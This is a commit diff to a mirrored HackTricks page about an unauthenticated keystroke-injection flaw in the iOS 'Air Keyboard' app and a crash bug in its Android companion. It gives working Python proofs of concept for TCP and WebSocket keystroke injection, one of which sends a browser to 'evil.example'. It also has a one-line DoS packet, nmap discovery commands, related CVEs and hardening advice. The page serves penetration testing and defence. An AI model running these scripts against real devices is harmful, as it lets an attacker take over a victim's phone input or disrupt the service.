mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Research Update: Enhanced src/mobile-pentesting/ios-pentesti...
This commit is contained in:
parent
d753b3ed2f
commit
b8413f5f9e
@ -1,21 +1,28 @@
|
|||||||
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
|
# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## TL;DR
|
## TL;DR
|
||||||
|
|
||||||
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
|
The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either:
|
||||||
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**.
|
|
||||||
|
|
||||||
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
|
* **≤ 1.0.4** – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload.
|
||||||
|
* **≥ 1.0.5 (June 2025)** – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`.
|
||||||
|
|
||||||
|
Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**.
|
||||||
|
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**).
|
||||||
|
|
||||||
|
> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 1. Service Discovery
|
## 1. Service Discovery
|
||||||
|
|
||||||
Scan the local network and look for the two fixed ports used by the apps:
|
Scan the local network and look for the two fixed ports used by the apps:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# iOS (input-injection)
|
# iOS (unauthenticated input-injection)
|
||||||
nmap -p 8888 --open 192.168.1.0/24
|
nmap -p 8888 --open 192.168.1.0/24
|
||||||
|
|
||||||
# Android (weakly-authenticated service)
|
# Android (weakly-authenticated service)
|
||||||
nmap -p 55535 --open 192.168.1.0/24
|
nmap -p 55535 --open 192.168.1.0/24
|
||||||
@ -24,16 +31,19 @@ nmap -p 55535 --open 192.168.1.0/24
|
|||||||
On Android handsets you can identify the responsible package locally:
|
On Android handsets you can identify the responsible package locally:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
adb shell netstat -tulpn | grep 55535 # no root required on emulator
|
||||||
|
|
||||||
# rooted device / Termux
|
# rooted device / Termux
|
||||||
netstat -tulpn | grep LISTEN
|
netstat -tulpn | grep LISTEN
|
||||||
ls -l /proc/<PID>/cmdline # map PID → package name
|
ls -l /proc/<PID>/cmdline # map PID → package name
|
||||||
```
|
```
|
||||||
|
|
||||||
## 2. Frame Format (iOS)
|
On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`.
|
||||||
|
|
||||||
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
|
---
|
||||||
|
|
||||||
|
## 2. Protocol Details (iOS)
|
||||||
|
|
||||||
|
### 2.1 Legacy (≤ 1.0.4) – custom binary frames
|
||||||
|
|
||||||
```
|
```
|
||||||
[length (2 bytes little-endian)]
|
[length (2 bytes little-endian)]
|
||||||
@ -41,64 +51,139 @@ The binary reveals the following parsing logic inside the `handleInputFrame()` r
|
|||||||
[payload ASCII keystrokes]
|
[payload ASCII keystrokes]
|
||||||
```
|
```
|
||||||
|
|
||||||
The declared length includes the `device_id` byte **but not** the two-byte header itself.
|
The declared *length* includes the `device_id` byte **but not** the two-byte header itself.
|
||||||
|
|
||||||
|
### 2.2 Current (≥ 1.0.5) – JSON over WebSocket
|
||||||
|
|
||||||
|
Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"type": 1, // 1 = insert text, 2 = special key
|
||||||
|
"text": "open -a Calculator\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": false,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
No handshake, token or signature is required – the first JSON object already triggers the UI event.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 3. Exploitation PoC
|
## 3. Exploitation PoC
|
||||||
|
|
||||||
|
### 3.1 Targeting ≤ 1.0.4 (raw TCP)
|
||||||
|
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
|
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
|
||||||
import socket, sys
|
import socket, sys
|
||||||
|
|
||||||
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
target_ip = sys.argv[1] # e.g. 192.168.1.50
|
||||||
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
keystrokes = b"open -a Calculator\n" # payload visible to the user
|
||||||
|
|
||||||
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
|
||||||
frame += b"\x01" # device_id = 1 (hard-coded)
|
frame += b"\x01" # device_id = 1 (hard-coded)
|
||||||
frame += keystrokes
|
frame += keystrokes
|
||||||
|
|
||||||
with socket.create_connection((target_ip, 8888)) as s:
|
with socket.create_connection((target_ip, 8888)) as s:
|
||||||
s.sendall(frame)
|
s.sendall(frame)
|
||||||
print("Injected", keystrokes)
|
print("[+] Injected", keystrokes)
|
||||||
```
|
```
|
||||||
|
|
||||||
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
|
### 3.2 Targeting ≥ 1.0.5 (WebSocket)
|
||||||
|
|
||||||
|
```python
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||||
|
import json, sys, websocket # `pip install websocket-client`
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
ws = websocket.create_connection(f"ws://{target_ip}:8888")
|
||||||
|
ws.send(json.dumps({
|
||||||
|
"type": 1,
|
||||||
|
"text": "https://evil.example\n",
|
||||||
|
"mode": 0,
|
||||||
|
"shiftKey": False,
|
||||||
|
"selectionStart": 0,
|
||||||
|
"selectionEnd": 0
|
||||||
|
}))
|
||||||
|
ws.close()
|
||||||
|
print("[+] URL opened on target browser")
|
||||||
|
```
|
||||||
|
|
||||||
|
*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## 4. Android Companion – Denial-of-Service
|
## 4. Android Companion – Denial-of-Service
|
||||||
|
|
||||||
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
|
The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import socket
|
import socket
|
||||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||||
```
|
```
|
||||||
|
|
||||||
## 5. Root Cause
|
---
|
||||||
|
|
||||||
1. **No origin / integrity checks** on incoming frames (iOS).
|
## 5. Related Apps – A Recurring Anti-Pattern
|
||||||
|
|
||||||
|
Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw:
|
||||||
|
|
||||||
|
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging.
|
||||||
|
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 unauthenticated RCE & traffic snooping.
|
||||||
|
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage.
|
||||||
|
|
||||||
|
These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Root Causes
|
||||||
|
|
||||||
|
1. **No origin / integrity checks** on incoming frames (iOS).
|
||||||
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
|
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
|
||||||
|
3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication.
|
||||||
|
|
||||||
## 6. Mitigations & Hardening Ideas
|
---
|
||||||
|
|
||||||
* Never expose unauthenticated services on a mobile handset.
|
## 7. Hardening & Defensive Measures
|
||||||
* Derive per-device secrets during onboarding and verify them before processing input.
|
|
||||||
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
|
Developer recommendations:
|
||||||
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
|
|
||||||
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
|
* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed.
|
||||||
|
* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input.
|
||||||
|
* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets.
|
||||||
|
* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames.
|
||||||
|
|
||||||
|
Blue-/Red-Team quick wins:
|
||||||
|
|
||||||
|
* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`.
|
||||||
|
* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners.
|
||||||
|
* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services.
|
||||||
|
* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Detection Cheat-Sheet (Pentesters)
|
## Detection Cheat-Sheet (Pentesters)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Quick one-liner to locate vulnerable devices in a /24
|
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
|
||||||
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
|
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
|
||||||
|
| awk '/Ports/{print $2 " " $4}'
|
||||||
|
|
||||||
# Inspect running sockets on a connected Android target
|
# Inspect running sockets on a connected Android target
|
||||||
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
|
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
|
||||||
|
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||||
```
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333)
|
||||||
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
|
- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user